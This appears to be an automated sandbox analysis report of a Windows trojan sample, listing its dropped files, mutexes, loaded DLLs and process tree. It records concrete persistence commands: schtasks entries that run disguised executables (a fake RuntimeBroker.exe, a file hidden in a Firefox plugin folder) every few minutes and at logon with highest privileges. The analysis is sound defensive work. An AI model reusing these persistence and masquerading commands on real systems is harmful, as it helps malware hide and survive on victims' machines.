Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, ggvLrLPuejHMJvahmWu.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, ggvLrLPuejHMJvahmWu.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, cRM7Zv7NyOWGjUU824j.cs	Cryptographic APIs: 'TransformBlock'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, cRM7Zv7NyOWGjUU824j.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, vkZyVcyd7dyoWavLTif.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, vkZyVcyd7dyoWavLTif.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, vkZyVcyd7dyoWavLTif.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, vkZyVcyd7dyoWavLTif.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winEXE@33/21@4/5

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

Code function: 3_2_00706EC9 GetLastError,FormatMessageW,

3_2_00706EC9

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

Code function: 3_2_00719E1C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

3_2_00719E1C

Source: C:\blocksavesperfMonitorDll\reviewDll.exe

File created: C:\Program Files (x86)\common files\VrOvfXIxMKIwGaWOj.exe

Jump to behavior

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AYUGPPBj0x.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2140:120:WilError_03
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6048:120:WilError_03
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\956b4d1c3075a718963820e606634dfc5b91caad
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2488
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Mutant created: \Sessions\1\BaseNamedObjects\uAAtKyq40cXidg5IY

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe

File created: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\blocksavesperfMonitorDll\SAymW4LctOmWulF1E6221.bat" "

Source: AYUGPPBj0x.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: AYUGPPBj0x.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: AYUGPPBj0x.exe

ReversingLabs: Detection: 73%

Source: unknown	Process created: C:\Users\user\Desktop\AYUGPPBj0x.exe "C:\Users\user\Desktop\AYUGPPBj0x.exe"
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process created: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe "C:\Users\user\AppData\Local\Temp\Bootstrapper.exe"
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process created: C:\Users\user\AppData\Local\Temp\kendalcp.exe "C:\Users\user\AppData\Local\Temp\kendalcp.exe"
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blocksavesperfMonitorDll\R7uOS4kiQeNNM8oo5bGADNHtfWe.vbe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\blocksavesperfMonitorDll\SAymW4LctOmWulF1E6221.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\blocksavesperfMonitorDll\reviewDll.exe "C:\blocksavesperfMonitorDll\reviewDll.exe"
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\common files\VrOvfXIxMKIwGaWOj.exe'" /f
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "VrOvfXIxMKIwGaWOj" /sc ONLOGON /tr "'C:\Program Files (x86)\common files\VrOvfXIxMKIwGaWOj.exe'" /rl HIGHEST /f
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\common files\VrOvfXIxMKIwGaWOj.exe'" /rl HIGHEST /f
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /f
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 11 /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe'" /f
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "VrOvfXIxMKIwGaWOj" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe'" /rl HIGHEST /f
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 5 /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe'" /rl HIGHEST /f
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe "C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe"
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2488 -s 2192
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe "C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe"
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe "C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe"
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process created: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe "C:\Users\user\AppData\Local\Temp\Bootstrapper.exe"	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process created: C:\Users\user\AppData\Local\Temp\kendalcp.exe "C:\Users\user\AppData\Local\Temp\kendalcp.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c ipconfig /all	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blocksavesperfMonitorDll\R7uOS4kiQeNNM8oo5bGADNHtfWe.vbe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\blocksavesperfMonitorDll\SAymW4LctOmWulF1E6221.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\blocksavesperfMonitorDll\reviewDll.exe "C:\blocksavesperfMonitorDll\reviewDll.exe"	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 11 /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe'" /f	Jump to behavior

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: version.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: windows.storage.dll	Jump to behavior
